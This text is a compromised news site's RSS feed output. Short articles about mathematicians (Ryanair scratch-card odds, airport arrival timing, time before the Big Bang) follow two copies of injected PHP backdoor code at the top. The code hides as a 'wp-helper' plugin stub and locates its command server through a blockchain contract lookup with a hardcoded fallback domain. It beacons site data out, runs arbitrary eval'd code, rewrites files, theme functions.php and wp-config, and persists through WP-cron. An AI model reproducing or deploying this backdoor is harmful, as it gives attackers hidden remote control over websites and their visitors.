// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; 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$_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); mathematician – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 06 Dec 2017 12:31:49 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png mathematician – Brief News https://briefnews.eu 32 32 A mathematician has disproved Ryanair’s claim that its 2-for-1 scratch cards ‘double your chance of winning’ https://briefnews.eu/a-mathematician-has-disproved-ryanairs-claim-that-its-2-for-1-scratch-cards-double-your-chance-of-winning/ https://briefnews.eu/a-mathematician-has-disproved-ryanairs-claim-that-its-2-for-1-scratch-cards-double-your-chance-of-winning/#respond Wed, 06 Dec 2017 12:31:49 +0000 http://briefnews.eu/a-mathematician-has-disproved-ryanairs-claim-that-its-2-for-1-scratch-cards-double-your-chance-of-winning/ Michael O'Leary Ryanair CEOREUTERS/Yves Herman

  • Ryanair cabin crew claimed that buying 2-for-1 scratch cards doubled chances of winning. 
  • Doctor of physics at Oxford University, David Robert Grimes, looked at the maths of the offer and found out this wasn’t quite true. 
  • Grimes posted his sums on Twitter, saying, “No, Dice O’Leary!” target at the airline’s CEO.

Flying Ryanair is a game of luck at the best of times, but a mathematician claims to have debunked a member of its cabin crew’s claim that buying two scratch cards for the price of one doubles the odds of winning.

David Robert Grimes, a doctor of physics and postdoctoral researcher at Oxford University, was traveling on the no-frills airline when he took exception to the claim that buying two scratch cards for the price of one would drastically boost a passenger’s chances of winning.

The scientist posted a picture of a notepad on Twitter with a scribbled calculation working out whether what the airline said was true.

Concluding that claim was inaccurate, Grimes scribbled “No Dice O’Leary” in reference to the airline’s chief executive, who has had a difficult year at the airline, with pilot shortages and complaints over Ryanair’s seating policy.

The airline has also come under fire in the past with accusations that it does not pass on profits from its scratch card sales to charities, as it claims.

Grimes told The Independent: “In his defence, if your chances of winning per card, p, are absolutely miniscule, then the claim that buying twice the number of cards ‘doubles your chance of winning’ is not a bad first-order approximation.

“Certainly it’s less of a mouthful than ‘increases your chance of winning by a factor of 1 + (1-p)^n’. Though the only way the claim could strictly be true is if your chances of winning are absolutely zero, or if you buy zero cards — probably not the ringing endorsement Ryanair intended.”

Grimes conceded that the airline’s slogan was “more catchy” than his calculation.

He was keen to note that calculations like the one in his tweet are “quite removed” from his usual line of work, which focuses on mathematical modelling of tumours and science writing. “It’s all a bit of fun pedantry,” he tweeted. “I was simply procrastinating on a short-flight instead of actually being productive, but as most of my work consists of cancer modelling or debunking dangerous pseudoscience in media, it was a pleasant distraction. Promathstination if you will.”

It’s not the first time experts have disputed Ryanair’s claims. Earlier this year, Oxford scientists worked out that there is more chance of winning the lottery than beating the airline’s “random” seating allocation policy.

In this case, Ryanair, and its long-suffering cabin crew, can probably stick with the more “catchy” claim.

Ryanair told The Independent: “All of our 129 million customers are already a winner thanks to our unbeatable low fares and our scratch card game offers great prizes including cash, luxury cars and the chance to win €1 million, while supporting charities across the UK and Europe. We also offer a bundle of 7 cards for the price of 5!”

NOW WATCH: Why Korean parents are having their kids get plastic surgery before college

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]]> https://briefnews.eu/a-mathematician-has-disproved-ryanairs-claim-that-its-2-for-1-scratch-cards-double-your-chance-of-winning/feed/ 0 A mathematician explains what time you should get to the airport before your flight https://briefnews.eu/a-mathematician-explains-what-time-you-should-get-to-the-airport-before-your-flight/ https://briefnews.eu/a-mathematician-explains-what-time-you-should-get-to-the-airport-before-your-flight/#respond Thu, 23 Nov 2017 22:07:28 +0000 http://briefnews.eu/a-mathematician-explains-what-time-you-should-get-to-the-airport-before-your-flight/ airport security TSA lineAP

What’s the best time to get to the airport? It depends on how much you hate waiting around an airport, and how willing you are to risk missing your flight. However, if you’ve never missed a flight, you’re probably showing up too early.

University of Wisconsin mathematician Jordan Ellenberg explores this problem and many others in his wonderful new book titled “How Not To Be Wrong: The Power Of Mathematical Thinking”, a collection of fascinating examples of math and its surprising applications.

Here’s a summary of Ellenberg’s explanation of the airport arrival time problem.

The issue comes down to expected utility. Utility is an economic concept used to analyze the costs and benefits of different goods and services for different people. The idea of utility is to try to put some kind of quantitative value on how useful something is to a particular person, giving us the ability to analyze that person’s choices.

Figuring out when to go to the airport involves a tradeoff: the earlier you show up, the more likely you are to actually make your flight. But, showing up early also involves a cost in the form of time spent at the airport rather than elsewhere.

The idea of utility lets us try to quantify this. Say each hour at the airport costs you 10 “utils”, or units of utility, and missing your flight costs 50 utils. In other words, missing your flight is about five times as annoying to you as the accumulated nuisance of spending an hour at the airport.

We also know that you’re more likely to miss your flight the later you show up. Let’s say that if you show up a half hour early, you have a 20% chance of missing your flight, an hour early gives a 5% chance, and two hours early leaves you just a 1% chance of missing the flight.

This lets us figure out what your expected utility loss is going to be depending on when you show up at the airport. Expected values are a useful tool for analyzing something probabilistic, giving us a kind of average value of the outcome.

Say you show up at the airport an hour early. We have two costs to compute: the utility loss from waiting at the airport, and the expected value of the utility loss from maybe missing your plane. The loss from your waiting time is just 10 utils, as we assumed above.

The expected loss from missing your flight is the probability of missing the flight times the utility loss from missing the flight. If you’re at the airport an hour early, you have a 5% chance of missing the flight, and this would cost 50 utils. So, the expected loss is 5% × 50 = 2.5 utils.

Putting those together, we get a total expected utility cost of 12.5 utils from showing up an hour early.

Now, if you get to the airport two hours early, you lose 20 utils from your waiting time, but the expected loss from missing the plane is just 1% × 50 = 0.5, for a total expected loss of 20.5 utils.

This is a much worse expected loss than getting to the airport an hour early. Even though the odds of missing your flight drop quite a bit, the extra time stuck in the airport creates a cost that outweighs the benefit of those reduced odds. You’re better off taking that slightly higher risk of missing your flight.

Of course, if you cut it too close, the risk of missing the flight can dominate. If you show up at the airport a half hour before your flight, you only lose 5 utils from waiting, but with a 20% chance of missing your flight, you get 20% × 50 = 10 utils of expected loss from the risk, giving a total expected loss of 15 utils, worse than showing up an hour early.

This variation among expected utility losses indicates that there is some particular airport arrival time for which the risk of missing your flight and the misery of sitting in an airport bar balance out and you minimize your expected loss.

jetlag airport sleepingShannon Stapleton/ReutersNaturally, that exact time is going to vary from person to person, depending on each individual’s idiosyncratic utility function. For example, I don’t mind sitting around the airport and reading Twitter overly much, but I absolutely hate missing flights, so my ideal time to arrive at the airport might be earlier than someone who despises the airport but is fine with missing the occasional plane.

Regardless of the exact amount of risk of missing a flight a person is willing to take, that risk will always be greater than zero. So, at your ideal, utility maximizing time, if you take enough flights, you should miss one sooner or later. If you haven’t ever missed a plane, then you’re likely not arriving at your ideal time.

As the economist George Sigler put it, as quoted in the book by Ellenberg, “If you never miss the plane, you’re spending too much time at airports.”

This type of expected utility analysis is a foundational idea in economics. Many models are based on the idea of a person trying to maximize their utility.

“How Not To Be Wrong” is full of interesting and weird mathematical tools and observations, and if you liked this, you should check it out.

(Via News.com.au)

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]]> https://briefnews.eu/a-mathematician-explains-what-time-you-should-get-to-the-airport-before-your-flight/feed/ 0 An Oxford mathematician explains how time might have existed before the Big Bang https://briefnews.eu/an-oxford-mathematician-explains-how-time-might-have-existed-before-the-big-bang/ https://briefnews.eu/an-oxford-mathematician-explains-how-time-might-have-existed-before-the-big-bang/#respond Mon, 10 Apr 2017 09:05:54 +0000 http://briefnews.eu/an-oxford-mathematician-explains-how-time-might-have-existed-before-the-big-bang/ Marcus du Sautoy, mathematician and author of The Great Unknown, explained why we don’t really know what happened before the Big Bang.

He told Business Insider: “We’re really not too sure and in fact, that may be a question that doesn’t even make sense because time, we think, started at the Big Bang. So it doesn’t make sense to talk about before if you haven’t got time there in the first place.

He went on to say that one idea centres around “eons of time.”

He explained this is when “it looks like time is going to run out and stop and each of these beginnings and ends might be able to be glued together to make an infinite sequence of time.”

“So actually there may be something always before the, before the, before the, before the, before the, before the, before.”

Marcus du Sautoy’s book The Great Unknown is available for purchase now. 

Filmed and produced by Leon Siciliano

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